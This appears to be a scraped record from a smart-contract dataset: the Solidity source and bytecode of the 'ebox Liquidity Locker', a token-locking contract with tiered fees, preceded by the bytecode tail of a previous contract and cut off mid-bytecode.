061118f565b846040519080825280602002602001820160405280156110d35781602001602082028038833980820191505090505b5093506110de610af5565b925060009150600090505b8281101561118b578673ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561117e5780848381518110151561116757fe5b906020019060200201818152505081806001019250505b80806001019150506110e9565b8395505b5050505050919050565b6040805190810160405280600381526020017f435743000000000000000000000000000000000000000000000000000000000081525081565b6060600080600060606000600280549050945060009350600092505b8483101561127557600073ffffffffffffffffffffffffffffffffffffffff166005600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156112685783806001019450505b82806001019350506111ee565b836040519080825280602002602001820160405280156112a45781602001602082028038833980820191505090505b50915060009050600092505b8483101561135457600073ffffffffffffffffffffffffffffffffffffffff166005600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156113475782828281518110151561133057fe5b906020019060200201818152505080806001019150505b82806001019350506112b0565b819550505050505090565b600060149054906101000a900460ff1615151561137b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156113b757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156113f257600080fd5b6113fc33826117ff565b151561140757600080fd5b61141233838361192d565b5050565b60028181548110151561142557fe5b90600052602060002090600402016000915090508060000154908060010154908060020154908060030154905084565b600061146385858585611dac565b9050949350505050565b60046020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561154157600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60003373ffffffffffffffffffffffffffffffffffffffff166003600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156115f357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166005600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561166157600080fd5b336005600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816002848154811015156116c357fe5b90600052602060002090600402016000018190555092915050565b6000806116e9610af5565b90508091505090565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081341015151561173657600080fd5b6005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117a857600080fd5b6117b381338561192d565b8073ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156117f9573d6000803e3d6000fd5b50505050565b60008273ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b806005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008273ffffffffffffffffffffffffffffffffffffffff166005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60006005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506119d36001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ff90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611abb6001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211d90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1505050565b6000611bac6121cd565b600060806040519081016040528060008152602001611bcd60146050612136565b8152602001611bde60146050612136565b8152602001611bef60146050612136565b8152509150600160028390806001815401808255809150509060018203906000526020600020906004020160009091929091909150600082015181600001556020820151816001015560408201518160020155606082015181600301555050039050336003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611cf66001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ff90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fcc9018de05b5f497ee7618d8830568d8ac2d45d0671b73d8f71c67e824122ec73382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1809250505090565b6000611db66121cd565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e1357600080fd5b6080604051908101604052808881526020018781526020018681526020018581525091506001600283908060018154018082558091505090600182039060005260206000209060040201600090919290919091506000820151816000015560208201518160010155604082015181600201556060820151816003015550500390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611f7b6001600460008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ff90919063ffffffff16565b600460008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508063ffffffff168114151561206657600080fd5b7fcc9018de05b5f497ee7618d8830568d8ac2d45d0671b73d8f71c67e824122ec76000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a18092505050949350505050565b600080828401905083811015151561211357fe5b8091505092915050565b600082821115151561212b57fe5b818303905092915050565b600080600160008154809291906001019190505550838303905083814233600154604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140182815260200193505050506040518091039020600190048115156121c257fe5b060191505092915050565b6080604051908101604052806000815260200160008152602001600081526020016000815250905600a165627a7a7230582040d2679e4fed922e0b77944ce2477dad6010d91e246a0705578f8516d8a84b750029
[ 10 ]
0xf2151b314b6973643f2873932e2ce4acf2bc997b
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // ebox - https://ebox.io // // ebox Liquidity Locker // // Purpose: // Enables users to lock LP tokens acquired by providing liquidity on DEXes (Uniswap, PancakeSwap etc), as well as any // other ERC-20 tokens. // // Users can: // * lockCreate Create a token lock that lasts until a user-defined release time // * lockAdd Add tokens to an existing lock // * lockExtend Extend an existing lock // * lockTransfer Transfer ownership of an existing lock to another address // * lockRelease Release tokens from an existing lock (partial amount, or all at once) that is past release time // ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract eboxLiquidityLocker { //------------------------------------------------------------------------------------------------------------------------ // Global variables //------------------------------------------------------------------------------------------------------------------------ address contractOwner; bool contractPaused; uint contractReentrancyStatus; uint constant CONTRACT_REENTRANCY_NOT_ENTERED = 1; uint constant CONTRACT_REENTRANCY_ENTERED = 2; mapping(uint => TokenLock) allLocks; uint allLocksLength; ERC20Interface feeToken; FeeTier[] feeTiers; uint feeDivisor; mapping(address => bool) hasSpecificFee; mapping(address => uint) specificFee; mapping(ERC20Interface => uint) collectedFee; //------------------------------------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------------------------------------ // Data types //------------------------------------------------------------------------------------------------------------------------ struct TokenLock { address owner; ERC20Interface token; uint value; uint releaseTime; } struct FeeTier { uint minTokenAmount; uint fee; } //------------------------------------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------------------------------------ // Events //------------------------------------------------------------------------------------------------------------------------ event LockCreate(uint indexed index, address indexed owner, ERC20Interface indexed token, uint value, uint releaseTime); event LockAdd(uint indexed index, uint value); event LockExtend(uint indexed index, uint newReleaseTime); event LockTransfer(uint indexed index, address indexed oldOwner, address indexed newOwner); event LockRelease(uint indexed index, uint value); //------------------------------------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------------------------------------ // Constructor, fallback, modifiers //------------------------------------------------------------------------------------------------------------------------ constructor(ERC20Interface _feeToken, FeeTier[] memory _feeTiers, uint _feeDivisor) { contractOwner = msg.sender; contractReentrancyStatus = CONTRACT_REENTRANCY_NOT_ENTERED; ownerSetFeeTiers(_feeToken, _feeTiers, _feeDivisor); } fallback() external payable { revert("Do not send funds directly to contract"); } modifier onlyOwner { require(msg.sender == contractOwner, "Only available for contract owner"); _; } modifier nonReentrant { require(contractReentrancyStatus != CONTRACT_REENTRANCY_ENTERED, "Reentrant calling not allowed"); contractReentrancyStatus = CONTRACT_REENTRANCY_ENTERED; _; contractReentrancyStatus = CONTRACT_REENTRANCY_NOT_ENTERED; } //------------------------------------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------------------------------------ // Functions: Getter //------------------------------------------------------------------------------------------------------------------------ function getLock(uint _index) external view returns(TokenLock memory) { require(_index < allLocksLength, "Invalid index: Too high"); return allLocks[_index]; } function getFee() external view returns(uint, uint) { return (getFeeFor(msg.sender), feeDivisor); } function getFeeFor(address _addr) internal view returns(uint) { if(hasSpecificFee[_addr]) return specificFee[_addr]; for(uint i = feeTiers.length - 1; i > 0; i--) if(feeToken.balanceOf(_addr) >= feeTiers[i].minTokenAmount) return feeTiers[i].fee; return feeTiers[0].fee; } function getFeeTiers() external view returns(ERC20Interface, FeeTier[] memory, uint) { return (feeToken, feeTiers, feeDivisor); } //------------------------------------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------------------------------------ // Functions: User //------------------------------------------------------------------------------------------------------------------------ function lockCreate(ERC20Interface _token, uint _value, uint _releaseTime) nonReentrant external { require(!contractPaused, "Contract is paused"); require(_value != 0, "Invalid value: Must not be 0"); require(_releaseTime > block.timestamp, "Invalid release time: Must be in the future"); uint oldBalance = _token.balanceOf(address(this)); _token.transferFrom(msg.sender, address(this), _value); _value = _token.balanceOf(address(this)) - oldBalance; uint fee = (_value * getFeeFor(msg.sender)) / feeDivisor; collectedFee[_token] += fee; allLocks[allLocksLength] = TokenLock(msg.sender, _token, _value - fee, _releaseTime); allLocksLength++; emit LockCreate(allLocksLength - 1, msg.sender, _token, _value - fee, _releaseTime); } function lockAdd(uint _index, uint _value) nonReentrant external { require(!contractPaused, "Contract is paused"); require(allLocks[_index].owner == msg.sender, "Invalid index: Must be owner"); require(allLocks[_index].value != 0, "Invalid index: Lock must not be empty"); require(_value != 0, "Invalid value: Must not be 0"); uint oldBalance = allLocks[_index].token.balanceOf(address(this)); allLocks[_index].token.transferFrom(msg.sender, address(this), _value); _value = allLocks[_index].token.balanceOf(address(this)) - oldBalance; uint fee = (_value * getFeeFor(msg.sender)) / feeDivisor; collectedFee[allLocks[_index].token] += fee; allLocks[_index].value += _value - fee; emit LockAdd(_index, _value - fee); } function lockExtend(uint _index, uint _newReleaseTime) external { require(!contractPaused, "Contract is paused"); require(allLocks[_index].owner == msg.sender, "Invalid index: Must be owner"); require(allLocks[_index].value != 0, "Invalid index: Lock must not be empty"); require(allLocks[_index].releaseTime < _newReleaseTime, "Invalid new release time: Must be greater than old release time"); require(_newReleaseTime > block.timestamp, "Invalid new release time: Must be in the future"); allLocks[_index].releaseTime = _newReleaseTime; emit LockExtend(_index, _newReleaseTime); } function lockTransfer(uint _index, address _newOwner) external { // require(!contractPaused, "Contract is paused"); require(allLocks[_index].owner == msg.sender, "Invalid index: Must be owner"); require(allLocks[_index].value != 0, "Invalid index: Lock must not be empty"); require(_newOwner != address(0), "Invalid new owner: Must not be zero address"); require(_newOwner != msg.sender, "Invalid new owner: Must not be old owner"); address oldOwner = allLocks[_index].owner; allLocks[_index].owner = _newOwner; emit LockTransfer(_index, oldOwner, _newOwner); } function lockRelease(uint _index, uint _value) external { // require(!contractPaused, "Contract is paused"); require(allLocks[_index].owner == msg.sender, "Invalid index: Must be owner"); require(allLocks[_index].releaseTime <= block.timestamp, "Invalid index: Lock must be expired"); require(allLocks[_index].value != 0, "Invalid index: Lock must not be empty"); require(allLocks[_index].value >= _value, "Invalid value: Must be less than or equal to value stored in lock"); if(_value == 0) _value = allLocks[_index].value; allLocks[_index].value -= _value; allLocks[_index].token.transfer(msg.sender, _value); emit LockRelease(_index, _value); } //------------------------------------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------------------------------------ // Functions: Owner / administrative //------------------------------------------------------------------------------------------------------------------------ function ownerSetContractPaused(bool _paused) onlyOwner external { contractPaused = _paused; } function ownerSetNewOwner(address _newOwner) onlyOwner external { require(_newOwner != address(0), "Invalid new contract owner: Must not be zero address"); contractOwner = _newOwner; } function ownerSetFeeTiers(ERC20Interface _feeToken, FeeTier[] memory _feeTiers, uint _feeDivisor) onlyOwner public { require(_feeTiers.length >= 1, "Fee tiers: Must pass at least 1 tier"); require(_feeTiers[0].minTokenAmount == 0, "Fee tiers: Must include tier for 0 tokens"); require(_feeDivisor != 0, "Fee divisor: Must not be 0"); feeToken = _feeToken; feeDivisor = _feeDivisor; uint oldLength = feeTiers.length; for(uint i = 0; i < oldLength; i++) feeTiers.pop(); for(uint i = 0; i < _feeTiers.length; i++) { if(i > 0) require(_feeTiers[i].minTokenAmount > _feeTiers[i - 1].minTokenAmount, "Fee tiers: Must be sorted by minTokenAmount in ascending order"); feeTiers.push(_feeTiers[i]); } } function ownerSetSpecificFeeFor(address _addr, bool _hasSpecificFee, uint _fee) onlyOwner external { hasSpecificFee[_addr] = _hasSpecificFee; if(_hasSpecificFee) specificFee[_addr] = _fee; } function ownerGetSpecificFeeFor(address _addr) onlyOwner external view returns(bool, uint) { return (hasSpecificFee[_addr], specificFee[_addr]); } function ownerCollectFee(ERC20Interface[] memory _tokens) onlyOwner external { for(uint i = 0; i < _tokens.length; i++) { if(collectedFee[_tokens[i]] == 0) continue; uint value = collectedFee[_tokens[i]]; collectedFee[_tokens[i]] = 0; _tokens[i].transfer(msg.sender, value); } } //------------------------------------------------------------------------------------------------------------------------ } interface ERC20Interface { function totalSupply() external view returns(uint); function balanceOf(address tokenOwner) external view returns(uint); function allowance(address tokenOwner, address spender) external view returns(uint); function transfer(address to, uint tokens) external returns(bool); function approve(address spender, uint tokens) external returns(bool); function transferFrom(address from, address to, uint tokens) external returns(bool); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); }
0x6080604052600436106100dd5760003560e01c8063be2bf9ae1161007f578063d68f4dd111610059578063d68f4dd11461028a578063dbfbf280146102eb578063e5a396cb1461030b578063e9a4d24f14610342576100dd565b8063be2bf9ae1461021b578063c0d45e391461023b578063ced72f871461025b576100dd565b8063536df8ae116100bb578063536df8ae1461019b57806369ef2802146101bb57806392fe1532146101db578063a5b6285b146101fb576100dd565b80633041d2ca1461013957806332c7dc4f1461015b57806334ab43aa1461017b575b60405162461bcd60e51b815260206004820152602660248201527f446f206e6f742073656e642066756e6473206469726563746c7920746f20636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b34801561014557600080fd5b50610159610154366004611a07565b610366565b005b34801561016757600080fd5b50610159610176366004611a41565b610709565b34801561018757600080fd5b50610159610196366004611a7f565b6108a0565b3480156101a757600080fd5b506101596101b6366004611ac0565b610918565b3480156101c757600080fd5b506101596101d6366004611b78565b610960565b3480156101e757600080fd5b506101596101f6366004611c50565b610c4f565b34801561020757600080fd5b50610159610216366004611c6d565b610d0e565b34801561022757600080fd5b50610159610236366004611d07565b610eba565b34801561024757600080fd5b50610159610256366004611a07565b6112aa565b34801561026757600080fd5b5061027061147b565b604080519283526020830191909152015b60405180910390f35b34801561029657600080fd5b506102aa6102a5366004611d3c565b611492565b604051610281919081516001600160a01b03908116825260208084015190911690820152604080830151908201526060918201519181019190915260800190565b3480156102f757600080fd5b50610159610306366004611a07565b611555565b34801561031757600080fd5b5061032b610326366004611c50565b6117b5565b604080519215158352602083019190915201610281565b34801561034e57600080fd5b50610357611810565b60405161028193929190611d55565b6002600154036103b85760405162461bcd60e51b815260206004820152601d60248201527f5265656e7472616e742063616c6c696e67206e6f7420616c6c6f7765640000006044820152606401610130565b6002600155600054600160a01b900460ff16156103e75760405162461bcd60e51b815260040161013090611dbf565b6000828152600260205260409020546001600160a01b0316331461041d5760405162461bcd60e51b815260040161013090611deb565b600082815260026020819052604082200154900361044d5760405162461bcd60e51b815260040161013090611e22565b8060000361049d5760405162461bcd60e51b815260206004820152601c60248201527f496e76616c69642076616c75653a204d757374206e6f742062652030000000006044820152606401610130565b6000828152600260205260408082206001015490516370a0823160e01b81523060048201526001600160a01b03909116906370a0823190602401602060405180830381865afa1580156104f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105189190611e67565b600084815260026020526040908190206001015490516323b872dd60e01b8152336004820152306024820152604481018590529192506001600160a01b0316906323b872dd906064016020604051808303816000875af1158015610580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a49190611e80565b50600083815260026020526040908190206001015490516370a0823160e01b815230600482015282916001600160a01b0316906370a0823190602401602060405180830381865afa1580156105fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106219190611e67565b61062b9190611eb3565b9150600060065461063b336118a9565b6106459085611eca565b61064f9190611ee9565b6000858152600260209081526040808320600101546001600160a01b03168352600990915281208054929350839290919061068b908490611f0b565b9091555061069b90508184611eb3565b600085815260026020819052604082200180549091906106bc908490611f0b565b909155508490507f403af4c2ef45e5a255ffcf042c157e6e1ec7a796d652ffb7a57958299ccf06c96106ee8386611eb3565b60405190815260200160405180910390a25050600180555050565b6000828152600260205260409020546001600160a01b0316331461073f5760405162461bcd60e51b815260040161013090611deb565b600082815260026020819052604082200154900361076f5760405162461bcd60e51b815260040161013090611e22565b6001600160a01b0381166107d95760405162461bcd60e51b815260206004820152602b60248201527f496e76616c6964206e6577206f776e65723a204d757374206e6f74206265207a60448201526a65726f206164647265737360a81b6064820152608401610130565b336001600160a01b038216036108425760405162461bcd60e51b815260206004820152602860248201527f496e76616c6964206e6577206f776e65723a204d757374206e6f74206265206f60448201526736321037bbb732b960c11b6064820152608401610130565b60008281526002602052604080822080546001600160a01b031981166001600160a01b038681169182179093559251911692839186917fcedf758ebf4a94e7d21585ab3d46f020878a98e1085356dcb1d9b7d3ca49a96791a4505050565b6000546001600160a01b031633146108ca5760405162461bcd60e51b815260040161013090611f23565b6001600160a01b0383166000908152600760205260409020805460ff19168315801591909117909155610913576001600160a01b03831660009081526008602052604090208190555b505050565b6000546001600160a01b031633146109425760405162461bcd60e51b815260040161013090611f23565b60008054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461098a5760405162461bcd60e51b815260040161013090611f23565b6001825110156109e85760405162461bcd60e51b8152602060048201526024808201527f4665652074696572733a204d7573742070617373206174206c656173742031206044820152633a34b2b960e11b6064820152608401610130565b816000815181106109fb576109fb611f64565b602002602001015160000151600014610a685760405162461bcd60e51b815260206004820152602960248201527f4665652074696572733a204d75737420696e636c756465207469657220666f72604482015268203020746f6b656e7360b81b6064820152608401610130565b80600003610ab85760405162461bcd60e51b815260206004820152601a60248201527f4665652064697669736f723a204d757374206e6f7420626520300000000000006044820152606401610130565b600480546001600160a01b0319166001600160a01b038516179055600681905560055460005b81811015610b27576005805480610af757610af7611f7a565b60008281526020812060026000199093019283020181815560010155905580610b1f81611f90565b915050610ade565b5060005b8351811015610c48578015610bf35783610b46600183611eb3565b81518110610b5657610b56611f64565b602002602001015160000151848281518110610b7457610b74611f64565b60200260200101516000015111610bf35760405162461bcd60e51b815260206004820152603e60248201527f4665652074696572733a204d75737420626520736f72746564206279206d696e60448201527f546f6b656e416d6f756e7420696e20617363656e64696e67206f7264657200006064820152608401610130565b6005848281518110610c0757610c07611f64565b602090810291909101810151825460018181018555600094855293839020825160029092020190815591015191015580610c4081611f90565b915050610b2b565b5050505050565b6000546001600160a01b03163314610c795760405162461bcd60e51b815260040161013090611f23565b6001600160a01b038116610cec5760405162461bcd60e51b815260206004820152603460248201527f496e76616c6964206e657720636f6e7472616374206f776e65723a204d757374604482015273206e6f74206265207a65726f206164647265737360601b6064820152608401610130565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d385760405162461bcd60e51b815260040161013090611f23565b60005b8151811015610eb65760096000838381518110610d5a57610d5a611f64565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205460000315610ea457600060096000848481518110610da357610da3611f64565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020549050600060096000858581518110610de657610de6611f64565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550828281518110610e2457610e24611f64565b602090810291909101015160405163a9059cbb60e01b8152336004820152602481018390526001600160a01b039091169063a9059cbb906044016020604051808303816000875af1158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea19190611e80565b50505b80610eae81611f90565b915050610d3b565b5050565b600260015403610f0c5760405162461bcd60e51b815260206004820152601d60248201527f5265656e7472616e742063616c6c696e67206e6f7420616c6c6f7765640000006044820152606401610130565b6002600155600054600160a01b900460ff1615610f3b5760405162461bcd60e51b815260040161013090611dbf565b81600003610f8b5760405162461bcd60e51b815260206004820152601c60248201527f496e76616c69642076616c75653a204d757374206e6f742062652030000000006044820152606401610130565b428111610fee5760405162461bcd60e51b815260206004820152602b60248201527f496e76616c69642072656c656173652074696d653a204d75737420626520696e60448201526a207468652066757475726560a81b6064820152608401610130565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015611035573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110599190611e67565b6040516323b872dd60e01b8152336004820152306024820152604481018590529091506001600160a01b038516906323b872dd906064016020604051808303816000875af11580156110af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d39190611e80565b506040516370a0823160e01b815230600482015281906001600160a01b038616906370a0823190602401602060405180830381865afa15801561111a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113e9190611e67565b6111489190611eb3565b92506000600654611158336118a9565b6111629086611eca565b61116c9190611ee9565b6001600160a01b038616600090815260096020526040812080549293508392909190611199908490611f0b565b9091555050604080516080810182523381526001600160a01b03871660208201529081016111c78387611eb3565b8152602090810185905260038054600090815260028084526040808320865181546001600160a01b03199081166001600160a01b0392831617835596880151600183018054909816911617909555850151908401556060909301519181019190915580549161123583611f90565b9190505550846001600160a01b0316336001600160a01b0316600160035461125d9190611eb3565b7f31a53a7ac4ce2f7688c8e6951b52dc3cd05e1fe132b186fa6246b0ee942b6d786112888589611eb3565b60408051918252602082018990520160405180910390a4505060018055505050565b600054600160a01b900460ff16156112d45760405162461bcd60e51b815260040161013090611dbf565b6000828152600260205260409020546001600160a01b0316331461130a5760405162461bcd60e51b815260040161013090611deb565b600082815260026020819052604082200154900361133a5760405162461bcd60e51b815260040161013090611e22565b60008281526002602052604090206003015481116113c05760405162461bcd60e51b815260206004820152603f60248201527f496e76616c6964206e65772072656c656173652074696d653a204d757374206260448201527f652067726561746572207468616e206f6c642072656c656173652074696d65006064820152608401610130565b4281116114275760405162461bcd60e51b815260206004820152602f60248201527f496e76616c6964206e65772072656c656173652074696d653a204d757374206260448201526e6520696e207468652066757475726560881b6064820152608401610130565b600082815260026020526040908190206003018290555182907f3cf295400112394871d2b212d16ffc5e707412ffcc80a958e340e7388b561bcd9061146f9084815260200190565b60405180910390a25050565b600080611487336118a9565b600654915091509091565b60408051608081018252600080825260208201819052918101829052606081019190915260035482106115075760405162461bcd60e51b815260206004820152601760248201527f496e76616c696420696e6465783a20546f6f20686967680000000000000000006044820152606401610130565b50600090815260026020818152604092839020835160808101855281546001600160a01b03908116825260018301541692810192909252918201549281019290925260030154606082015290565b6000828152600260205260409020546001600160a01b0316331461158b5760405162461bcd60e51b815260040161013090611deb565b6000828152600260205260409020600301544210156115f85760405162461bcd60e51b815260206004820152602360248201527f496e76616c696420696e6465783a204c6f636b206d75737420626520657870696044820152621c995960ea1b6064820152608401610130565b60008281526002602081905260408220015490036116285760405162461bcd60e51b815260040161013090611e22565b600082815260026020819052604090912001548111156116ba5760405162461bcd60e51b815260206004820152604160248201527f496e76616c69642076616c75653a204d757374206265206c657373207468616e60448201527f206f7220657175616c20746f2076616c75652073746f72656420696e206c6f636064820152606b60f81b608482015260a401610130565b806000036116d75750600081815260026020819052604090912001545b600082815260026020819052604082200180548392906116f8908490611eb3565b90915550506000828152600260205260409081902060010154905163a9059cbb60e01b8152336004820152602481018390526001600160a01b039091169063a9059cbb906044016020604051808303816000875af115801561175e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117829190611e80565b50817f29cc218a7575797ad9be71a0b6dfbd3f945999c6b92a405b0d15bb5941493e5a8260405161146f91815260200190565b6000805481906001600160a01b031633146117e25760405162461bcd60e51b815260040161013090611f23565b50506001600160a01b031660009081526007602090815260408083205460089092529091205460ff90911691565b600060606000600460009054906101000a90046001600160a01b0316600560065481805480602002602001604051908101604052809291908181526020016000905b8282101561189857838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190611852565b505050509150925092509250909192565b6001600160a01b03811660009081526007602052604081205460ff16156118e657506001600160a01b031660009081526008602052604090205490565b6005546000906118f890600190611eb3565b90505b80156119d9576005818154811061191457611914611f64565b6000918252602090912060029091020154600480546040516370a0823160e01b81526001600160a01b03878116938201939093529116906370a0823190602401602060405180830381865afa158015611971573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119959190611e67565b106119c757600581815481106119ad576119ad611f64565b906000526020600020906002020160010154915050919050565b806119d181611fa9565b9150506118fb565b5060056000815481106119ee576119ee611f64565b9060005260206000209060020201600101549050919050565b60008060408385031215611a1a57600080fd5b50508035926020909101359150565b6001600160a01b0381168114611a3e57600080fd5b50565b60008060408385031215611a5457600080fd5b823591506020830135611a6681611a29565b809150509250929050565b8015158114611a3e57600080fd5b600080600060608486031215611a9457600080fd5b8335611a9f81611a29565b92506020840135611aaf81611a71565b929592945050506040919091013590565b600060208284031215611ad257600080fd5b8135611add81611a71565b9392505050565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff81118282101715611b1d57611b1d611ae4565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611b4c57611b4c611ae4565b604052919050565b600067ffffffffffffffff821115611b6e57611b6e611ae4565b5060051b60200190565b600080600060608486031215611b8d57600080fd5b8335611b9881611a29565b925060208481013567ffffffffffffffff811115611bb557600080fd5b8501601f81018713611bc657600080fd5b8035611bd9611bd482611b54565b611b23565b81815260069190911b82018301908381019089831115611bf857600080fd5b928401925b82841015611c3b576040848b031215611c165760008081fd5b611c1e611afa565b843581528585013586820152825260409093019290840190611bfd565b96999698505050506040949094013593505050565b600060208284031215611c6257600080fd5b8135611add81611a29565b60006020808385031215611c8057600080fd5b823567ffffffffffffffff811115611c9757600080fd5b8301601f81018513611ca857600080fd5b8035611cb6611bd482611b54565b81815260059190911b82018301908381019087831115611cd557600080fd5b928401925b82841015611cfc578335611ced81611a29565b82529284019290840190611cda565b979650505050505050565b600080600060608486031215611d1c57600080fd5b8335611d2781611a29565b95602085013595506040909401359392505050565b600060208284031215611d4e57600080fd5b5035919050565b6001600160a01b038416815260606020808301829052845191830182905260009185820191906080850190845b81811015611da9578451805184528401518484015293830193604090920191600101611d82565b5050809350505050826040830152949350505050565b60208082526012908201527110dbdb9d1c9858dd081a5cc81c185d5cd95960721b604082015260600190565b6020808252601c908201527f496e76616c696420696e6465783a204d757374206265206f776e657200000000604082015260600190565b60208082526025908201527f496e76616c696420696e6465783a204c6f636b206d757374206e6f7420626520604082015264656d70747960d81b606082015260800190565b600060208284031215611e7957600080fd5b5051919050565b600060208284031215611e9257600080fd5b8151611add81611a71565b634e487b7160e01b600052601160045260246000fd5b600082821015611ec557611ec5611e9d565b500390565b6000816000190483118215151615611ee457611ee4611e9d565b500290565b600082611f0657634e487b7160e01b60005260126004526024